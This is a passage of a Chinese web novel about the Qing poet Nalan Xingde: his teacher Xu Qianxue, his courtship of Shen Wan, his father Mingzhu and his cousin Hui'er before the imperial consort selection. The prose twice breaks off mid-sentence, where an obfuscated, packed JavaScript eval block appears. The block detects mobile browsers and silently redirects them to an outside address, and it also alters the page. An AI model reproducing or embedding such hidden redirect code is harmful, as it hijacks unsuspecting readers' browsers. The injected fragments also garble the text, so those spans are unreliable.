要说那天李天馥为何会在国子监的开学典礼上迟到,跟康熙皇帝自然脱不了关系。照着康熙皇帝的意思,就是:“李大人,你作为国子监的第三能人,可要替朕好好观察纳兰的学习情况啊!” 当日现场的情况是: 徐氏兄弟领着大儒们和诸生们一起完成正式授业前的尊孔仪式后,就直接过了原本应当安排的“行拜师礼、净手净心、朱砂开智”三大环节,以中庭门坪为“学堂”,开始了:授业开讲。 徐乾学亲自抽查了学生的底子—— “你,报上名来。” “学生格曾桑朗。” “夫君子之已乱,岂有异术哉?时其喜怒,下一句!” “啊?” 格曾桑朗一愣,无从回答。 “这可是苏东坡在宋仁宗嘉祐二年参加礼部进士考试时所写的文章,但凭任何一个汉人学子都能答的上来。” “你可真是丢满人学子的脸啊!”徐乾学一摇头,复抽查了另一个学生,“你,报上名来。” “学生何弘道。” “《记玉关踏雪事清游》最后一句。” 何弘道还想着从身上摸出笔记来看一看,就被徐乾学打断: “这就是你作为汉人学子的风骨?这篇文章的作者张炎,乃是宋人,应召为元朝写金字《藏经》。等你从笔记上解得此文深意,怕是‘爱国忠君‘之心早遭人疑惑了!” 训完两个学生,徐乾学继续往前走。 只见他停在纳兰面前,一声不吭。 容若就自己站了起来,应道:“学生纳兰性德。” 徐乾学故意刁难道:“教子有遗经,诗书易春秋礼记。下联——” “传家无别业,解会状榜眼探花。”容若对答如流,“十代书香门第,指书欣然,传者为是。故徐先生的藏书之所名曰:传是楼。” 徐乾学大惊,“公子怎会知道?此并非出自书本。” “纳兰识得些江南出身的文人,正好从他们手中借阅过徐先生的《传是楼书目》册子,便是探明了命名的来由。加之昆山三徐名声远扬,考路顺畅,官运亨通,纳兰就知道这下联该怎么对了。” “公子果然名不虚传,徐某领教了。” “纳兰替两位同窗答了徐先生的两问,请徐先生免去他俩的诵读和抄写之罚。第一问,而无失乎仁而已矣;第二问,空感怀,有斜阳处,却怕登楼。” “好,看在公子的面子上,本官就不罚格曾桑朗和何弘道【注1】二人了。” 说罢,徐乾学冲着那一满一汉的学生一喝:“你俩,给本官把纳兰公子给出的答案大声重复一遍!!” ——而无失乎仁而已矣。 ——空感怀,有斜阳处,却怕登楼。 徐乾学回到讲师的位置上,对着诸生大声道: “你等都要切记,做学问不可死记泛记摘记,要像纳兰公子一样广记和触类旁通才好!” “每月八日和十四日,是诸生登高论怀之日,由李天馥李大人亲自带队而行。人在玉楼中,楼高四面风。诸生一同把纳兰公子笔下的登楼名句复述一遍!!然后向李大人行礼,课后每人作出一篇登楼之诗来,交给李大人批阅。” 玄烨听后哈哈大笑。 顾问行见皇上许久没有笑的这么开怀了,便道:“万岁爷,奴才还以为这届的学生还跟往届一样死气沉沉呢,没想到波澜四起、趣事横生呐。” 玄烨问:“李大人,纳兰的登楼诗拿给朕看看。” 李天馥便把公子的诗作呈了上去,玄烨看罢,拍案赞道:“好诗!” “纳兰的诗朕留下了,李大人,照你看纳兰参加科举,结果会如何?” “臣不敢做担保,何况臣也不是阅卷官,不懂的优中取优的门道,不敢胡言乱语鼓吹公子、以免蛊惑圣心。” “纳兰不是自称半年后就去参加秋试吗?没有滔天自信、没有横溢才华,他敢不苦读个三年再赴科举?” “臣斗胆回了皇上,自打诅咒公子活不过三十岁的人:暴毙的暴毙、贬谪的贬谪、流放的流放之后,近来又出现了一些‘公子之存在,可堪美好,不属于世’的言论,让公子感叹时光易逝、生出‘不如趁早考取功名’的念头来,也是有的。” 玄烨没说别的话,只道:“既然纳兰有那样的觉悟,那就让他去考。” 李天馥点头:“臣明白了。” “不,李大人你不明白。”玄烨肯定道,“朕才是唯一懂的纳兰为何想早日赴考之意的人。” * 一条小河边。 容若跟沈宛一同涉冷、破冰。 “虽说是有三月病,但是时节更替为我所喜欢。” 容若看着眼前的新景色,听着哗哗的水流声和咔擦咔擦的碎冰声,露出了一个微笑来。要是能够听见鸟鸣,那就更好了! 以前他站在河边,在冰封时看别人在上面玩耍嬉戏、亦或是凿冰钓鱼,心中纯纯粹粹地生出了“不辞冰雪”四个字来,他觉得这个典故得按照“执着”之意来解,无关什么“付出”的崇高精神。 那个时候,因为身边无人,所以也就没法跟谁讨论,只将念头存在了心里。 现在沈宛在身边,似乎赋予了这个典故更深的含义: 无需真的“卧冰求鲤”或是“卧冰为妻”,亲情和爱情的伟大之处,不应是那般不爱惜性命,而应是:平凡是真。 伸手触摸到河流上面的一小块流冰时,容若的指尖“划——”地迎上了一股冷。 但是他却觉得自己有些孩子气,只有小孩子才会如此,天不怕地不怕,大胆做着自己想做的事,不计后果,不计前路。 “公子应用另一只手撩一撩水,看看是不是冰比水冷。” “洋人老师南怀仁告诉我,冰融化时吸热,比什么都冷。放在水中,肯定也是这个道理。” “来嘛。”沈宛拉过容若的另一只手,“纸上得来终觉浅,自己的实地感受才是最真实的。” “我这双手,能写词能拉弓、能制物能舞剑。”容若在褒美自己,“还能跟正常人一样划冰和过冷水,像是人生添加了一抹新色彩一样。” “色彩?这个比喻奇怪。除非公子真能说出个让我信服的解释来。” “我们满人喜欢白色和蓝色。”容若今日穿的是浅蓝色的衣服,“宛卿你不也觉得我像这两种颜色一样安静和深邃吗?春天将至,姹紫嫣红之中应让生命欣欣向荣才对。” “所以,”容若把小块浮冰放回了河流面上,“春色之中有了不同往日的我,我也能够为春日着色了,就在这件小小的‘触冰碰水’的事情当中。我觉得高兴,别人眼中不值一提的寻常事,对我而言就是莫大的欢乐。” 这条河流,望不见尽头,不知道浮冰与冷水最终会流向何方。 但是公子的内心,却可见慢慢退却了的荒芜,已是无限向荣。 沈宛走在容若身边,她是“受用”和“骄傲”的。 她觉得:公子的想法有时候叫人很捉摸,可是当他开诚布公地把自己“新有所得”和“新寻觅到”的“自我潜质”展示出来的时候,他是由衷的欣赏自己和欣赏让自己有所发现的人。 ——听君一席话,知君何事有悲喜,因而受用。 ——剖君一颗心,知君何事倾思绪,因而骄傲。 君不离,妾不弃。 两相知,共此生。 愿此誓愿,成就你我后续佳缘。 跟容若在一起,要是想从他身上寻得“正常恋爱”或是“正常男子”的喜怒哀乐、打骂争赢、此侬彼侬,就是三个字:不可能。 在容若的情感观和世界观里,他是个独立的稳胜的存在,根本不需要与别人争、也不需要提防会不会有对手把自己喜欢的女子抢走。 仿佛冰清玉洁的公子,只需等待水到渠成的一段姻缘,自可“无事避风沙”一般。 因此,沈宛才能大胆说: “公子,你知道那种‘撩而不能撩’的感觉吗?我指的是你。” “我有一百种打动你、让你欢喜、惊讶、感动的方式,却也害怕失去你,徒留了那些数不尽的心思。我担心自己发挥的太过,吓到你让你心有余悸,要花好长一段时间才能平复;我许愿自己表现的出色,靠近你让你把朝朝暮暮、年年岁岁的好景好事温存心间,回味起来时皆是:有她值得、选她值得。” 相伴相行,春和景明。 情景交融,顺遂安宁。 “宛卿,我给你的数粒菩提子,你还带在身上吗?” “一直带着。” 一片明媚的光影中,缕缕菩提子的馨香中,容若放小笺纸在掌心,为今日两人的邀约写了一首诗: 《春日浮冰》 轻雷未雨水东流,拂逐东君试冰沿。 越鸟归飞有来时,明窗重阁待佳妍。 谁道相思了无益?春心近时云浆并。 欢凭山前我应去,珊瑚蕊中最忆卿。 “公子又是出了佳句。”沈宛只相信那句话是为她写的,“欢凭山前我应去,珊瑚蕊中最忆卿。” 容若把小笺纸放入身侧的女子手中,沾了沾她双手的暖意。 想来寻常只能握着茶杯取暖,如今却敢从喜欢的女子的手中蹭得别致的温度,容若心中,肯定着这样的自己、也暗谢着那样的沈宛。 “宛卿可为我写过词句?” “私写私藏着,未拿给公子看过。” “那就是——”容若欢欣看她,“不止一句,也不止一首?” “有许多。”沈宛双颊飞上桃花红,“公子愿意看的话……” * 容若在“饮水词歌·素菜馆”的雅室里,读到了沈宛的词作。 醒来灯未灭,心事和谁说?月户云窗人悄悄。 “这首《菩萨蛮》写实写我,也写着在我房间外悄悄站着、想见我而不得见的你,融情入景,甚好。” “谁叫公子只适合被人守护和守候呢?” 沈宛把下面几页词稿抽出一藏,反倒不想给容若看。 “我看一遍就能把文字记下,我要是连看的机会都没有了的话,宛卿的词句归谁过目不忘的好?” 容若伸出右手,管她要词稿。 “我只愿把自己的词句的每一个字都写公子、都给公子看。但是太过沉迷于此,我就会忘记自己对大清的意义,公子我跟你说过,我师傅是汉人、我也是汉人,本质上,我不应该是满清王朝和满人子弟有过深的感情。” “不觉得可以一分为二来对待吗?” 容若推开雅室的窗户,外面是人造的园中景。 “一分为二的,是我这颗心?还是前明王朝旧势力尚存的现实?” “我只要宛卿面对我的时候,是有一颗完整的心。但我也不能欺骗宛卿,无论宛卿的师傅有何筹谋,我都会站在自己的立场做选择,以我的民族我的家族为重。” 沈宛来到容若身侧,与他并看窗外风景。 “公子看这首——”她把词稿迎着天际的光亮展在容若面前,“是最新写的。” 《玉箫雨·忆容若》 三千秋波汇重天,唯见渌水、划镜分晓。小酥倒银盘,粉蕊落卷章,倾页温笑。笔驱月冷,无数宵。 徒嗟细心思,无力欠恙、恒以编校。古抄十二卷沥血,寸心空系芙蓉悼。岂是天缺恩露扫?耿耿幽怀,淡着风雨淡着绡。 【注2】 “每次,宛卿都在离我很近的地方陪伴我、悄看我。”容若问她,“你觉得我好?还是我的渌水亭好?” “明摆着是公子最好。”沈宛挽容若的手到小庭院中散步,“孔尚任的作品,把我写歪了写岔了算罢,可不许他对公子胡说八道、故作猜想。” 新芽初吐的树下,容若想到了孔尚任报出来完成作品的时间:十三年。 不禁失笑道:“孔尚任耗费的编剧流年,算来是我编书的数倍。他要在剧本当中写你我,哪有不读你我的词作和诗作的道理?” 沈宛与容若走过一座小拱桥,倒不认为孔尚任对剧本是写写而已,就道:“那也要他有本事把你我的词作和诗作,统统都拿到手来读才行啊!” “算了,孔兄不读或是读不全都罢。”容若回望雅室的窗台,台侧还用镇纸压着沈宛的作品,“以后宛卿的词作,我来解我来读,地点就选在这里或室内。” “好。” 清眸一顾秋波坠。一骑轻驰,萼绿华落,羊权向学,谁对?望前路,应是张敞画眉、陌上花开,徐徐鸣佩。 跟沈宛讨论道自己的作品时,容若显得很谦虚,甚至带着许多创作上的反思。 “如今我再看自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699676|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的词作,只感觉比李商隐差得远,不收录到作品集里去也罢。” “公子是在自比商隐的那句:萼绿华来无定所,杜兰香去未移时。玉郎会此通仙籍,意向天阶问紫芝?” “嗯,商隐的意境和情境真好,我远远不及。” “可我却是觉得公子写的词更胜商隐一筹。” “为什么?” “清眸一顾秋波坠。陌上花开,徐徐鸣佩。这两句——”沈宛珍爱着,“只有公子才能把沈宛写的这样好,也只有公子才对沈宛这样包容、这样好。” “我的素佩,肯为宛卿而鸣。” “容若——” “啊?……啊。” “我想改口这么叫你,但也会时不时地叫着公子。” “好。” * 分别的时候,容若一张一张地把沈宛的词稿整理好,放入了叫人取的、自己亲挑亲选过的典雅收纳匣中。 容若说,宛卿的作品应当汇编成集出版。 沈宛便问,叫什么名字好?要不俗气又叫人印象深刻的。 容若小坐一想,终于有了答案。 再看沈宛的神情,亦是颇为期待。 “顾念飞书及,宛若选梦过。就叫《选梦词》怎么样?” “《选梦词》,飞书选梦,沈宛容若。这名字公子起的真好。” 【注3】 * 明府。小花园里。 容若对着一叠稿纸,心生动摇。 “尚是小编经典,已有诸多开销。若是日后编修大工程的经解,也可预测所耗。儿想请阿玛的意思,一切是否值得?” 明珠琢磨着儿子的心思,道:“为当下为后世,值得;为自己为皇上,值得。但要是为解决一些参事文人的温饱、为徐乾学的慧眼识才之名、为将天下好书尽收囊中,就是不值。” 容若单手托腮,神色思忖。 “儿觉得自己真是糊涂。明明借助皇上的力量,就可以轻而易举地搜书、拆书、编书、汇书,却偏偏想要靠自己去干成一件事。就跟是一事有所成,才能在下一事上有经验和做得更好更无挑一样。” 明珠提点道:“诚然,由容若你独自编撰的《古抄本十二卷》一旦成稿,刻印必将畅销,你的名字亮在页内也当之无愧。但是你往深处想一想,往后你主持汇编更浩大、更繁杂的儒家丛书,可是真的能够从力从心?” 容若半垂眸,细想许久。 “孤独感跟孜孜不倦感并存,耗损心力的坚持感和咬牙感也有,然后就不知不觉地进行到了现阶段。自身也常常反思和总结,除了经验教训之外,所失所得竟也分外鲜明。” 明珠问:“你失去了什么?得到了什么?” 容若单手抚过稿纸,“失去了本应丰富多彩的天性,得到了一个愿意帮我寻回天性的人。” 明珠握住儿子的手,叹道:“也是怪阿玛,从小到大就把你逼的太紧了。以至于你自己形成了习惯,在自塑的心墙中,进出两难啊!” 明珠背着双手离开了小花园。 除去容若自身的才华和天赐的品格,令他够格“主持修史”和“刻印成果”之外,就是纳兰家的财力而言,拿出数十万金来给他投入新一轮的编修工程,还是绰绰有余的。 想来容若自出生至今,还真不是个费银子的人: 一切锦衣玉食都不是他挑的、一切精致器用也不是他要的,而是自己这个父亲所安排的和康熙皇帝所赏赐的。 ——容若为自己谈过开销之事吗?没有。 ——所以日后容若参编浩大经典之时,我明珠应该在财力上坚定地支持他才是。 * 这之后,容若步入自己的藏书楼,吩咐不让人打扰。 他把藏书楼命名为:通志堂。 取“通学明志”之意。 倚窗在一侧,执卷小思,容若想到了玄烨。 自己跟皇上有些日子没有见面了,好似应该到皇上身边去尽陪臣的责任。但是,应该对皇上说些什么呢? 朝政之事,当下要紧的是阿玛手头刑案之事。 一切罪大恶极的大案一旦证据确凿,都可以按律来处理,但是换做跟前明王朝相关的个案,就得慎之又慎了。只是阿玛任刑部尚书至今,从未在家中说过任上之难,也不知是不想说、还是太棘手了不肯说,宁愿自己来解决。 风雅之事,当下自己倒是没什么情致陪皇上写诗作画、指点文章,怕是皇上自己也没有闲情浪费在这上面。 至于皇上会不会过问“纳兰的学业”,自己觉得:当面应是不会,背地里则是会打听。 所以自己似乎也没必要主动去提,毕竟是人生阶段的一次适龄旅程而已,没有特别的亮眼之处,没有特别的贡献与建树,算不得是一个推动了国子监发展的优秀学子。 手头之事,想提而不知道该怎么提。 编书那么枯燥,说是志向或是兴趣爱好,那玄烨肯定一笑而过。编书很考验耐心,说是心血或是耗费精神,那玄烨没准会乐道一句:“纳兰,你知道‘自找’和‘活该’的区别是什么吗?是你乐不乐意让朕介入。” 这么说来,皇上介入了又能怎么样? 多了一分威严,增了一分权力,还是仅仅添了份看似“有靠山”的难言压力? 夕阳斜斜而入,光芒入卷染橙黄。 容若半仰头,把自己的身影镶嵌进了这幅画面中。 【注1】格曾桑朗、何弘道:纳兰性德的国子监同窗,此二人日后助康熙平定三藩有功。 【注2】 容若十七岁编书《古抄本十二卷》相关场景,见第53章。 经典场景是: 1、将落了水仙花花粉的书,倾页温笑。可见公子是个很有生活气息、很惜花、很慈悲的人。 2、芙蓉悼:是指渌水池的荷花(清水出芙蓉),不是芙蓉花。公子品格出尘,学问扎实,是名正言顺走考试路子的进士,符合“人镜芙蓉”之典。悼,作遗憾解,并非悼念。 3、恩露扫:公子因病延迟三年殿试,是编《古抄本十二卷》累出来。老师徐乾学在让公子编《通志堂经解》前,就开始暗害公子了。当然,公子知道徐先生的心思,自身甘愿沥血先编徐先生送的《古抄本十二卷》而已。 【注3】《选梦词》:清代才女子沈宛作品集。 57.第57章 密林之中。 宋应星的宅子已是春意盎然,一棵桃树还长出了许多片新叶,看着格外欣欣。 沈宛垫着脚尖、仿照容若的“境界”去触碰高枝新芽的时候,见到了不远处正向这边来的徐乾学的飞马身影。 她立刻走回了内屋,装作不近“士人们谈话”的模样,半掩了窗子,坐着“打发时光”。 徐乾学一跳下马,就急不可耐地对宋应星和张岱道: “真不知道是纳兰疯了,还是我失算了。纳兰逢人就说自己碰见了好老师,把我的脸打的啪啪响!” 这话差点没把沈宛乐出声来,容若早跟她说过,拜入徐先生门下、成为徐先生的学生之日,定要放肆狂歌,将“我有幸遇见了一位好老师”【注1】之情溢于言表。 今日一见徐乾学的反应,容若果然是有先见之明。 张岱道:“徐先生可知道贵公子的心思?他这么做,不是明摆着告诉天下人:纳兰性德是康熙皇帝身边的人,内阁大学士徐乾学胆子忒大了,竟然敢跟皇上抢人才,真是不知天高地厚!” 宋应星亦是不对徐乾学抱有同情,道: “贵公子的官职还需通过功名来换取吗?只要康熙皇帝离不开他,他就可以留在康熙皇帝身边平步青云。徐先生好为人师,是想教贵公子什么呀?还是觉得自己可以代替天子,把纳兰性德的学问造诣和仕途都做安排啊?” 徐乾学低下头,“徐某的确是糊涂,偏偏就忘记了贵公子的大靠山是皇上这一点。可是这老师当都当了,没有不好好‘教’贵公子的道理啊!” “徐先生,你可别对纳兰性德尽出些阴招和损招。”张岱好心提醒了一句,“他要是被你弄死了,那不叫你斗赢了明珠,而叫:你就等着徐氏一族被皇上灭族得了!” “反过来说,贵公子没被你折腾死——”宋应星顺着张岱的话往下说,“而是因为各种原因和心结比你先死,那你也免不了背负‘康熙朝罪臣’的骂名。” “我是纳兰性德的老师!”徐乾学不知道哪里来的勇气跳了起来,“如果张公和宋公都觉得徐某是个罪人,那徐某不如把事做绝了——只要是纳兰性德比我徐乾学先死,那我徐乾学就给他写墓志铭!!” “哈哈。”宋应星大笑,“我是活不到看‘徐乾学和纳兰性德的结局’的那一天了,就叫张岱来替我做见证吧。” “真是可悲可叹!”张岱说了句实在话。 “徐先生不妨在夜深人静的时候问问自己:给纳兰性德写墓志铭时,怕不怕他就站在身后看着你?你提笔的手和你站着的双腿,是不是抖动的厉害?徐先生你可千万选择一个密封的房间来写,一来可防在人前失态,二来即便是被不肯安身成佛的贵公子吓死了,也能留给后人多方揣测。” 徐乾学皱眉,额头上忽然直冒冷汗: “我听说依附索党的于成龙,自打拿‘露水’去咒贵公子‘易逝’之后,一刻都离不开先帝爷赐的尚方宝剑来‘辟邪’了【注2】,也不知道是不是真的。” 沈宛只身贴着墙壁而站。 无疑,徐乾学对容若而言是个危险人物,那个人为了斗垮明珠、没准什么都对容若做的出来。 但是,人应该往好的方向去想,要是师生之间可以化敌为友就好了,哪怕只是痴人说梦,也比当下的尔虞我诈要好。 沈宛看着手中的菩提子,心想: 容若现在在做什么呢? 不用上学的日子,他也是不得闲暇的吧? 还有,市井街头都在说: “皇上选妃的日子要到了!” 那纳兰府中的惠儿小姐就要离开她的表兄,到深宫去生活了,肯定很不舍吧? * 如意馆中。 曹寅和禹之鼎一起催道:“纳兰,你跟我们说说拜师的具体经过吧!” 容若瞧着手上的上好端砚道:“说寻常也不寻常,大多是我主动请教,然后徐先生以礼相待,他收下我的拜师礼、我叩拜于他,师生关系就确立了。” 当时的场景,是这样的—— 纳兰登入徐府,在仆人引导下来到藏书楼见徐乾学。 虽是平日,徐乾学竟然穿着官服、戴着顶戴花翎和朝珠,端坐在藏书楼的正门对面,就跟一座威严的塑像似的,候着来者的肃然起敬。 翩翩公子踏入楼内,最大的感受不是眼前人的装模组样、故作一本正经的先生的姿态,而是那一股游离于眼前人之外的书香气。 除开主人徐乾学本身,此楼跟明珠家的三座藏书楼相比,一点不会差。 徐乾学的身后,挂着一副大型的孔圣人像,画像两侧,是大意为“好好读书”和“好好做人”的对联。左右的隔间里面,翩翩公子人还未探看,却早已闻到阵阵墨香味,以及只有古籍和独本才能散发出来的特殊韵味。 侧面设有一长方形的书桌,书桌左边放着一个装字画卷轴的白色大肚瓷缸,右边放着可以随时洗笔洗手的龙潭,书桌之上,目前是空无一物,应是徐乾学料定翩翩公子要来,故意撤去了本该有的设置。 翩翩公子还留意到了徐乾学身侧的一个白玉龙耳浮雕瓶,那个东西价值不菲,绝非本朝匠人所做,推论应该是唐宋之外。看来,徐乾学“爱好收集古玩”之名,也是不假。 “学生纳兰性德,拜见吾师。” 这话听的徐乾学半张嘴,纳兰上来就行礼和把深度的“师徒关系”挑明了说,让自己这个内阁学士还如何摆谱刁难? “公子快快请起。”徐乾学一扬手,“本官可不敢接受咱们大清才学第一的纳兰公子的拜啊!只当公子是给本官身后的孔圣人行礼,这才是合乎尊卑。” “学生自小生长在华阀门第,却也不同于别的八旗子弟,就爱淡泊荣利来安心翻阅诗书。早闻吾师乐意亲力亲为教导,今日方来见吾师,还请吾师担待学士不足、多多指教。” “公子说的哪里话?”徐乾学抚须,“本官悉闻:纳兰性德才力之强敏,学问之淹通,实践之高明,天资之纯粹,世间无谁可以比拟。如今公子一个大活人站在本官面前,玉树临风,珠玉闪耀,倒是显得本官相形见拙了。” “吾师乃是当朝的鸿儒座师,怎可自生出不如后辈的念头来?”纳兰谦虚应对,“学生所求,无非是多多来吾师住处,听讲经书史、切磋古今义、谈论天下事,一同把历朝的《经史子集》都翻弄透彻,才无愧于彼此的深厚情谊啊!” ——纳兰,本官就问问你,说出“深厚师生情谊”六个字时,你心虚不心虚? ——虽说本官先成了个恶人、处处想害了你,但是你口口声声说要跟本官一同“勤学明志、师徒共成大业”,真叫本官愧无立足之地啊! “公子的身体要是经得住苦累,不妨每逢三、六、九日,就于黎明之时来本官府中藏书楼,与本官一同置身无涯学海、切问商讨、争辩真伪如何?” “好!那学生可要投入全副身心,直到天色将晚才离开。学生做了份学习规划表,不知可否交给吾师批评指正?” 徐乾学看着纳兰的惊世好貌,在心里对他一骂: 贵公子你要家势有家势,要实力有实力,还长得跟个玉雕出来的似的,竟然还能自己做出一番学业规划表来,真是国子监……啊,不天下读书人的表率啊! 本官还不如把你做的学习规划表,张贴在学堂正中央和太学之外一百米处的“求贤路口”,叫太学诸生和落拓书生们都来“仰视”你如何? 骂归骂,看罢纳兰的规划表,徐乾学对此自然是由衷大赞。 “公子果然是异于常人啊!此作息和此安排,要是为诸生和书生们所借鉴,我大清何愁没有济济人才?只是公子所写的——观止则如杜鹃啼恨,罢书闲暇三刻而栖息,复继续往学【注3】。是何意啊?” “吾师可是怕学生的‘劳逸结合’之法,会误了诸生和书生们?” “这怎么会呢?”徐乾学假作惊讶,“公子的言行,那就是范本,何来误导之说?只是外人愚钝,参悟之力到底是有限,不解‘三刻’之精髓啊!” “难不成吾师以为,诸生和书生们会往‘午时三刻’去想?” 翩翩公子的回应,差点没把徐乾学气的从孔圣人画像面前跳起来,大吼一句:纳兰性德,你连开句玩笑都如此刁钻、如此把场景切入到位,可恨可恨啊! 徐乾学怒收心中,矜持道:“孔圣人面前,公子不得胡言。” “学生三刻栖息,只因渌水亭长廊长、风景好,才算准了这放松的时间,换做别人,只能切合实际去把控该休息多久。” “公子,你在本官这里,如何度过一日?” “那要看吾师几时逸兴不倦、几时多思则殆。”纳兰巧答,“学生共鸣吾师教法与情绪就是。” 徐乾学听罢,装出了关切的模样。遂起身,以教学相长的“良师”之姿来到纳兰身边,“客气友善”地拉着“爱徒”的手往藏书楼的内间走。 他还真怕自己一用力,就捏疼捏碎了贵公子的骨骼。 师生关系已经确立,真是双方都“万死不辞”啊! 往后的史册,哪怕只浮于表面,只将徐某跟纳兰公子的相处往好的一面去说,曾经发生过的事实,一幕一幕的对峙和话里话外的推敲之音,都是真实存在过的呀! 回到当下。 跟曹寅和禹之鼎说罢这些,纳兰问他俩: “那日我一直称徐乾学为‘吾师’,以后我还是叫回他‘徐先生’的好。你们说,我跟徐乾学的师生关系,会不会持续一辈子?” 曹寅道:“纳兰你想想,你是把师生关系当成一种状态呢?还是一种束缚?又或者都不是,只是当成自己求学路上的资源?本应一方勤学好问,另一方诲人不倦,你跟徐乾学之间的关系,倒是参杂了许多不黑不白的过度点。” 纳兰觉得曹寅口中的“过度点”三个字颇有意思,却不说什么了,只在心中独自琢磨。 禹之鼎道:“本质上说,都是时局所迫。纳兰没错。” 纳兰理了理心情,转移了注意力。 “禹兄,你有没有新画作,拿来让我看看。” “还真有!”禹之鼎一起身,如同找到了军师一般,“我画了一幅初稿,打算献给太皇太后圣寿的。” * 夜间,明府花园。 明珠对容若的做法十分满意,这样奔走相告自己“得一良师”的的做法,实际上是相当于容若给徐乾学施了压,反被动为主动。 其一,“好老师”三个字已经传入了多数人耳中,如果徐乾学敢教容若一些心术不正不正之道,那就是自损名声;第二,容若拜入名师门下,要是没有拿出一番作为或学术成果来,就不可称为高徒,所以徐乾学不得不对容若倾囊相授;第三,事到如今,想必徐乾学也明白了:纳兰公子不好惹,惹的过了火,得罪的就是公子身后的人,那些厉害角色一出马,时时能让不善之人倒大霉。 桌面上有一瓶流萤,不知道是家仆什么时候弄来的。 明珠看着瓶中的明灭,心中唯有慨叹:时节多变、换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707497|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时容易去留难;人心难测,奸险招多安分少。 明珠赞许道:“容若,做得好。” 被阿玛表扬,容若心中自然是珍惜,“儿只是叫徐乾学看清楚,谁才是纳兰性德的伯乐而已。” “是该扫扫徐乾学的颜面!”明珠拿起流萤瓶子来晃了晃,“你这一招见狠,其中力度非常人能及。” “儿在通志堂久站,就想到皇上了,也认清楚了:自己这一生,还是离不开皇上,伯乐能给马匹用武之地、也能让马匹偏安一隅,哪种处境都好,自己心里有个底,就不怕日后会被皇上如何安排。” “你考取功名的目的是什么?不就是成为翰林院的首席吗?皇上要是看出来了还不依你,那就是忌惮我明珠啊!” “可是,”容若十指紧扣,“考取功名之后,按照正常的授官流程,儿不是无疑能入翰林吗?为什么总觉得会有变故?” “什么人当什么官,终究不过是天子的一口之言。”明珠对官场之事看得清楚,“天子想留你在身边日日相伴,就会给你一个近职,至于近职是什么,说白了还是不打紧的!一个官衔而已,容若,你的任务和责任没变,你的恩宠和器用也没有变。” “自小生活在明府大宅,出入于皇宫之间,儿也说不出‘多么想要自由、多么想放纵此生’的话,只是这一身的心志,”容若指着自己的心脏,“未动摇过,时时自醒自悟:殿内、朝堂、沙场、山河,处处都是伴君所到之地,风骨终存,埋沙犹现,待君先后知。” “将来之事,将来再说吧!”明珠看向纳兰惠儿的房间,“咱们纳兰家还有别的事摆在眼前啊!” “惠儿后日就要参加秀女大选了,你过去看看她,跟她好好话别。” “是。阿玛有什么话要交代,儿一并转达给惠儿。” “阿玛的话就是你想对她说的话,你懂事明理,阿玛放心。” “那儿先跪安了。” “好,你去吧。” * 容若敲了三下惠儿的房间门。 惠儿闻见声音,欢欣雀跃地飞奔而出,开门将表兄拉进。 “时间过的真快,一转眼就快到三月份了。” “是啊,在表兄家里住了半年有余,却仿佛还在昨日一般。” “后日惠儿伊人红妆,就要接受皇上、太皇太后、皇后的挑选了,心中可是已经立下了觉悟?” “对惠儿来说,表兄是全天下最好的男子,皇上只能屈居第二。对惠妃来说,皇上是唯一的夫君,表兄纳兰容若从未存在过。可对?” “看你,过于认真了。”容若别了别惠儿的刘海,“我答应过你,会与你在宫中相见,还记得吗?”【注4】 “记得,当时觉得应该欣然而往,现在却害怕表兄的善念和大度,会被皇上和皇后当成大胆和该死。” “我自问从未怯懦过,也不屑去做悄摸之事,所以做出决定见你之前,我会向皇上说明自己意思。皇上常来我家,多少也知道惠儿你是我的表妹,要是舆论非要向着‘私情’二字去蔓延,那你我正直面对就是,清者自清,不必理会一些不堪入耳的话。” “伯父要是知道表兄你跟我说了这些,怕是真要拿家法出来了。” 惠儿轻挡容若的嘴,担心他遭殃。 容若挪开惠儿的手,微笑安然:“阿玛叫我来与你话别,我倒是不想说些催泪或是不舍的话,只想当作寻常一日,跟惠儿闲聊。” 惠儿忍不住笑了,“放到孔尚任的剧本里,不该是个‘彼此潸然、然后力争破俗’的大场面吗?像是表兄为了惠儿:不惜忤逆父亲、不惜大乱选秀秩序、不惜跟皇上对着干……世人也是期待着这些。” “惠儿。” “表兄,我在。” “你方才说的,不是正好印证了‘纳兰心事无人知’吗?我就是个事事顾全大局、步步周全一切的人,怎么会闹?怎么会闯?要是成了剧本里的虚构,我反而会看不起自己。” 《千秋错·小阁捻绪》 渌水芙蓉,团月明窗纱。欲借飞花,莫借飞花,小阁捻绪绪还加。惠风露,若如许,笑问话本言谁家? 时节莫负,却闲十三一筝弦。待日后,宫阙佳人金玉音,离潇潇雨刮。袖过清风、眸散氤氲,几回新月管宵残。 惠儿触情而泪。 表兄的这首《千秋错》写的可真好,特别是这句: “惠”风露,“若”如许,几回新月管宵残。 这大概就是“惠儿”和“容若”,今后宫内宫外、两相隔的生活的写照吧? “表兄的词,胜过一切离别赠言和离别赠礼,惠儿定是要珍藏一辈子的。” “我写下来。” “真想贪心一些,让表兄为惠儿多写几首。” “会的,不管惠儿在我身边、还是在皇上身边,我都会为惠儿给惠儿写词的。” 惠儿向容若伸出了手,“拉勾作数可好?” 容若与她相绕手指,温润应道:“好。” 一袭月色如水,透过轩窗,落在二人许诺的瞬间。 桌面上,留下了指尖的弯勾投影,天上人间,唯有他菩提禅香、她小着粉黛,浓淡相宜。 【注1】史实上,容若在拜师徐乾学后,确实是逢人就说自己遇见了好老师。见第43章。 